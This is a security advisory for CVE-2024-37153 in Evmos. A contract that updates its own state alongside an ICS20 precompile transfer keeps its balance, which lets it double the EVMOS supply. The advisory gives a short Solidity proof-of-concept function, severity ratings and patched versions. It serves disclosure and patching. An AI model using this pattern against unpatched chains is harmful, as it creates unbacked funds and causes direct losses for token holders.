Advisory

GHSA-xgr7-jgq3-mhmc

Also known as: CVE-2024-37153, GO-2024-2903

Summary

Contract balance not updating correctly after interchain transaction

Details

Summary
_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._

Details
We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile

Proof of Concept

// This function does not reduce the contract balance correctly but liquid stakes correctly 
function transfer(
        string memory sourcePort,
        string memory sourceChannel,
        string memory denom,
        uint256 amount,
        string memory receiver,
        string memory evmosReceiver
    ) external returns (uint64 nextSequence) {
        counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
        Height memory timeoutHeight =  Height(100, 100);
        string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
        return ICS20_CONTRACT.transfer(
            sourcePort, 
            sourceChannel,
            denom,
            amount,
            address(this), # this is the sender address which is the contract
            receiver,
            timeoutHeight,
            0,
            memo
        );
    }

Impact
This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.

Severity

Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.

Patches

The issue has been patched in versions >=V18.1.0.

For more information
If you have any questions or comments about this advisory:

Reach out to the Core Team in Discord
Open a discussion in evmos/evmos
Email us at [[email protected]](mailto:[email protected]) for security questions

Severity

High Basis: The source's own band: HIGH

Dates

Published
2024-06-06 18:51 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

13 affected packages; all Go · All systems; affected: earlier versions
PackageFix
github.com/evmos/evmos/v18go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v17go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v16go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v15go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v14go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v13go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v12go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v11go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v10go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v9go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v8go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v7go get github.com/evmos/evmos/[email protected]
github.com/evmos/evmos/v6go get github.com/evmos/evmos/[email protected]

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences